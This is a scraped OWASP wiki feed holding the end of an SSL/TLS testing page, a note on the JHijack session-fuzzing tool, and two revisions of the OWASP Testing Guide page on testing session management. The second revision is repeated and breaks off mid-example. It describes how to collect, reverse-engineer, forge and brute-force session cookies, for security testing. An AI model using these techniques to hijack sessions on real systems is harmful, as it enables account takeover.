* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Session_Management_Schema_(OTG-SESS-001)&diff=179056Testing for Session Management Schema (OTG-SESS-001)2014-07-21T12:56:35Z<p>D0ubl3 h3lix: /* References */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Brief Summary ==<br />
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. These mechanisms are known as Session Management and while they are important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials. <br />
<br />
<br />
In this test, the tester wants to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.<br />
<br />
<br />
==Related Security Activities==<br />
<br />
===Description of Session Management Vulnerabilities===<br />
<br />
See the OWASP articles on [[:Category:Session Management Vulnerability|Session Management Vulnerabilities]].<br />
<br />
<br />
===Description of Session Management Countermeasures===<br />
<br />
See the OWASP articles on [[:Category:Session Management|Session Management Countermeasures]].<br />
<br />
<br />
===How to Avoid Session Management Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Session Management|Avoid Session Management]] Vulnerabilities.<br />
<br />
<br />
===How to Review Code for Session Management| Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Codereview-Session-Management|Review Code for Session Management]] Vulnerabilities.<br />
<br />
<br />
==Description of the Issue==<br />
<br />
Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.<br />
<br />
<br />
A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).<br />
<br />
<br />
Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. <br />
<br />
In this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). <br />
<br />
<br />
Usually the main steps of the attack pattern are the following:<br />
* '''cookie collection''': collection of a sufficient number of cookie samples;<br />
* '''cookie reverse engineering''': analysis of the cookie generation algorithm;<br />
* '''cookie manipulation''': forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).<br />
<br />
<br />
Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.<br />
<br />
<br />
==Black Box Testing and Examples==<br />
<br />
All interaction between the client and application should be tested at least against the following criteria:<br />
* Are all Set-Cookie directives tagged as Secure? <br />
* Do any Cookie operations take place over unencrypted transport? <br />
* Can the Cookie be forced over unencrypted transport? <br />
* If so, how does the application maintain security? <br />
* Are any Cookies persistent? <br />
* What Expires= times are used on persistent cookies, and are they reasonable? <br />
* Are cookies that are expected to be transient configured as such? <br />
* What HTTP/1.1 Cache-Control settings are used to protect Cookies? <br />
* What HTTP/1.0 Cache-Control settings are used to protect Cookies?<br />
<br />
<br />
===Cookie collection===<br />
<br />
The first step required to manipulate the cookie is to understand how the application creates and manages cookies. For this task, testers have to try to answer the following questions:<br />
<br />
* How many cookies are used by the application?<br />
Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.<br />
* Which parts of the the application generate and/or modify the cookie?<br />
Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?<br />
* Which parts of the application require this cookie in order to be accessed and utilized?<br />
Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.<br />
<br />
<br />
A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.<br />
<br />
<br />
===Session Analysis===<br />
<br />
The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.<br><br />
<br />
<br />
* Token Structure & Information Leakage<br />
The first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.<br />
<br />
<br />
If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:<br />
<pre><br />
192.168.100.1:owaspuser:password:15:58<br />
</pre><br />
<br />
<br />
If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation. For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:<br />
<pre><br />
Hex 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538<br />
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=<br />
MD5 01c2fc4f0a817afd8366689bd29dd40a<br />
</pre><br />
<br />
<br />
Having identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.<br />
<br />
<br />
Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:<br />
<pre><br />
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412<br />
</pre><br />
<br />
<br />
Having analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.<br />
<br />
<br />
If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.<br />
<br />
<br />
The following areas should be addressed during the single and multiple Session ID structure testing:<br />
* What parts of the Session ID are static? <br />
* What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses <br />
* What easily decoded confidential information is stored? <br />
* What information can be deduced from the structure of the Session ID? <br />
* What portions of the Session ID are static for the same log in conditions? <br />
* What obvious patterns are present in the Session ID as a whole, or individual portions?<br />
<br />
<br />
===Session ID Predictability and Randomness===<br />
<br />
Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools to deduce any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address. <br />
<br />
<br />
Time is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.<br />
<br />
<br />
Variable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.<br />
<br />
<br />
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.<br />
* Are the Session IDs provably random in nature? Can the resulting values be reproduced? <br />
* Do the same input conditions produce the same ID on a subsequent run? <br />
* Are the Session IDs provably resistant to statistical or cryptanalysis? <br />
* What elements of the Session IDs are time-linked? <br />
* What portions of the Session IDs are predictable? <br />
* Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?<br />
<br />
<br />
===Cookie reverse engineering===<br />
<br />
Now that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies is the tester interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks. <br />
<br />
These characteristics are summarized below:<br />
#Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, they will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.<br />
#Tamper resistance: a cookie must resist malicious attempts of modification. If the tester receives a cookie like IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)<br />
#Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory afterwards to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).<br />
#“Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.<br />
<br />
<br />
The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).<br />
<br />
<br />
It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies. A cookie collected before being authenticated can be very different from a cookie obtained after the authentication.<br />
<br />
<br />
Another aspect to keep into consideration is time. Always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a time stamp as part of the cookie value). The time recorded could be the local time or the server's time stamp included in the HTTP response (or both).<br />
<br />
<br />
When analyzing the collected values, the tester should try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.<br />
<br />
<br />
Examples of checks to be performed at this stage include:<br />
* What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if the tester inserts in a cookie characters that do not belong to the expected charset?<br />
* Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step. <br />
<br />
<br />
An example of an easy-to-spot structured cookie is the following:<br />
<br />
<pre><br />
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q<br />
</pre><br />
<br />
<br />
This example shows 5 different fields, carrying different types of data:<br />
<br />
<pre><br />
ID – hexadecimal<br />
CR – small integer<br />
TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)<br />
S – alphanumeric<br />
</pre><br />
<br />
<br />
Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:<br />
<br />
<pre><br />
0123456789abcdef<br />
</pre><br />
<br />
<br />
===Brute Force Attacks===<br />
Brute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.<br />
<br />
<br />
A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.<br />
* How long would a brute-force attack on all possible Session IDs take? <br />
* Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?<br />
* Do delays between connection attempts with different Session IDs mitigate the risk of this attack?<br />
<br />
<br />
== Gray Box testing and example == <br />
If the tester has access to the session management schema implementation, they can check for the following:<br />
* Random Session Token<br />
The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).<br />
* Token length<br />
Session ID will be at least 50 characters length.<br />
* Session Time-out<br />
Session token should have a defined time-out (it depends on the criticality of the application managed data)<br />
* Cookie configuration:<br />
** non-persistent: only RAM memory<br />
** secure (set only on HTTPS channel): Set Cookie: cookie=data; path=/; domain=.aaa.it; secure<br />
** [[HTTPOnly]] (not readable by a script): Set Cookie: cookie=data; path=/; domain=.aaa.it; [[HTTPOnly]]<br />
<br />
<br />
More information here: [[Testing_for_cookies_attributes (OWASP-SM-002)|Testing for cookies attributes]]<br />
<br />
<br />
==References==<br />
'''Whitepapers'''<br><br />
* RFC 2965 “HTTP State Management Mechanism”<br />
* RFC 1750 “Randomness Recommendations for Security”<br />
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis" (2001): http://lcamtuf.coredump.cx/oldtcp/tcpseq.html<br />
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later" (2002): http://lcamtuf.coredump.cx/newtcp/<br />
* Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html<br />
* Darrin Barrall: "Automated Cookie Analysis" – http://www.spidynamics.com/assets/documents/SPIcookies.pdf<br />
* ENT: http://fourmilab.ch/random/<br />
* http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html<br />
* Gunter Ollmann: "Web Based Session Management" - http://www.technicalinfo.net<br />
* Matteo Meucci:"MMS Spoofing" - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt <br />
<br />
<br><br />
'''Tools'''<br><br />
* OWASP Zed Attack Proxy Project (ZAP) - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project - features a session token analysis mechanism.<br />
* Burp Sequencer - http://www.portswigger.net/suite/sequencer.html<br />
* Foundstone CookieDigger - http://www.mcafee.com/us/downloads/free-tools/cookiedigger.aspx<br />
* YEHG's JHijack - https://www.owasp.org/index.php/JHijack<br />
<br />
<br><br />
'''Videos'''<br><br />
* Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=JHijack&diff=179055JHijack2014-07-21T12:56:22Z<p>D0ubl3 h3lix: </p>
<hr />
<div>'''Description'''<br />
<br />
A simple Java Fuzzer mainly used for numeric session hijacking and parameter enumeration. Developed by Yangon Ethical Hacker Group, http://yehg.net.<br />
<br />
<br />
'''Demonstrations'''<br />
<br />
Session Hijacking <br />
http://yehg.net/lab/pr0js/files.php/webgoat_sessionman_sessionhijackingwithjhijack.zip<br />
<br />
BlindSQLInjection<br />
http://yehg.net/lab/pr0js/files.php/webgoat_injectionflaws_blindsqlinjection.zip<br />
<br />
<br />
'''Requirements'''<br />
<br />
JRE/JDK 1.4 or above<br />
<br />
<br />
'''Download'''<br />
<br />
http://yehg.net/lab/pr0js/files.php/jhijackv0.1beta.zip<br />
http://downloads.sourceforge.net/project/jhijack/jhijack/latest/JHijack0.2-beta.zip<br />
<br />
<br />
[[Category:Non-OWASP_Open_Tool]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Session_Management_Schema_(OTG-SESS-001)&diff=179054Testing for Session Management Schema (OTG-SESS-001)2014-07-21T12:55:20Z<p>D0ubl3 h3lix: </p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Brief Summary ==<br />
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. These mechanisms are known as Session Management and while they are important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials. <br />
<br />
<br />
In this test, the tester wants to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.<br />
<br />
<br />
==Related Security Activities==<br />
<br />
===Description of Session Management Vulnerabilities===<br />
<br />
See the OWASP articles on [[:Category:Session Management Vulnerability|Session Management Vulnerabilities]].<br />
<br />
<br />
===Description of Session Management Countermeasures===<br />
<br />
See the OWASP articles on [[:Category:Session Management|Session Management Countermeasures]].<br />
<br />
<br />
===How to Avoid Session Management Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Session Management|Avoid Session Management]] Vulnerabilities.<br />
<br />
<br />
===How to Review Code for Session Management| Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Codereview-Session-Management|Review Code for Session Management]] Vulnerabilities.<br />
<br />
<br />
==Description of the Issue==<br />
<br />
Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.<br />
<br />
<br />
A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).<br />
<br />
<br />
Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. <br />
<br />
In this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). <br />
<br />
<br />
Usually the main steps of the attack pattern are the following:<br />
* '''cookie collection''': collection of a sufficient number of cookie samples;<br />
* '''cookie reverse engineering''': analysis of the cookie generation algorithm;<br />
* '''cookie manipulation''': forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).<br />
<br />
<br />
Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.<br />
<br />
<br />
==Black Box Testing and Examples==<br />
<br />
All interaction between the client and application should be tested at least against the following criteria:<br />
* Are all Set-Cookie directives tagged as Secure? <br />
* Do any Cookie operations take place over unencrypted transport? <br />
* Can the Cookie be forced over unencrypted transport? <br />
* If so, how does the application maintain security? <br />
* Are any Cookies persistent? <br />
* What Expires= times are used on persistent cookies, and are they reasonable? <br />
* Are cookies that are expected to be transient configured as such? <br />
* What HTTP/1.1 Cache-Control settings are used to protect Cookies? <br />
* What HTTP/1.0 Cache-Control settings are used to protect Cookies?<br />
<br />
<br />
===Cookie collection===<br />
<br />
The first step required to manipulate the cookie is to understand how the application creates and manages cookies. For this task, testers have to try to answer the following questions:<br />
<br />
* How many cookies are used by the application?<br />
Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.<br />
* Which parts of the the application generate and/or modify the cookie?<br />
Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?<br />
* Which parts of the application require this cookie in order to be accessed and utilized?<br />
Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.<br />
<br />
<br />
A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.<br />
<br />
<br />
===Session Analysis===<br />
<br />
The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.<br><br />
<br />
<br />
* Token Structure & Information Leakage<br />
The first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.<br />
<br />
<br />
If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:<br />
<pre><br />
192.168.100.1:owaspuser:password:15:58<br />
</pre><br />
<br />
<br />
If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation. For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:<br />
<pre><br />
Hex 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538<br />
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=<br />
MD5 01c2fc4f0a817afd8366689bd29dd40a<br />
</pre><br />
<br />
<br />
Having identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.<br />
<br />
<br />
Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:<br />
<pre><br />
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412<br />
</pre><br />
<br />
<br />
Having analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.<br />
<br />
<br />
If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.<br />
<br />
<br />
The following areas should be addressed during the single and multiple Session ID structure testing:<br />
* What parts of the Session ID are static? <br />
* What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses <br />
* What easily decoded confidential information is stored? <br />
* What information can be deduced from the structure of the Session ID? <br />
* What portions of the Session ID are static for the same log in conditions? <br />
* What obvious patterns are present in the Session ID as a whole, or individual portions?<br />
<br />
<br />
===Session ID Predictability and Randomness===<br />
<br />
Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools to deduce any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address. <br />
<br />
<br />
Time is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.<br />
<br />
<br />
Variable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.<br />
<br />
<br />
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.<br />
* Are the Session IDs provably random in nature? Can the resulting values be reproduced? <br />
* Do the same input conditions produce the same ID on a subsequent run? <br />
* Are the Session IDs provably resistant to statistical or cryptanalysis? <br />
* What elements of the Session IDs are time-linked? <br />
* What portions of the Session IDs are predictable? <br />
* Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?<br />
<br />
<br />
===Cookie reverse engineering===<br />
<br />
Now that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies is the tester interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks. <br />
<br />
These characteristics are summarized below:<br />
#Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, they will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.<br />
#Tamper resistance: a cookie must resist malicious attempts of modification. If the tester receives a cookie like IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)<br />
#Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory afterwards to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).<br />
#“Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.<br />
<br />
<br />
The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).<br />
<br />
<br />
It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies. A cookie collected before being authenticated can be very different from a cookie obtained after the authentication.<br />
<br />
<br />
Another aspect to keep into consideration is time. Always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a time stamp as part of the cookie value). The time recorded could be the local time or the server's time stamp included in the HTTP response (or both).<br />
<br />
<br />
When analyzing the collected values, the tester should try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.<br />
<br />
<br />
Examples of checks to be performed at this stage include:<br />
* What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if the tester inserts in a cookie characters that do not belong to the expected charset?<br />
* Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step. <br />
<br />
<br />
An example of an easy-to-spot structured cookie is the following:<br />
<br />
<pre><br />
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q<br />
</pre><br />
<br />
<br />
This example shows 5 different fields, carrying different types of data:<br />
<br />
<pre><br />
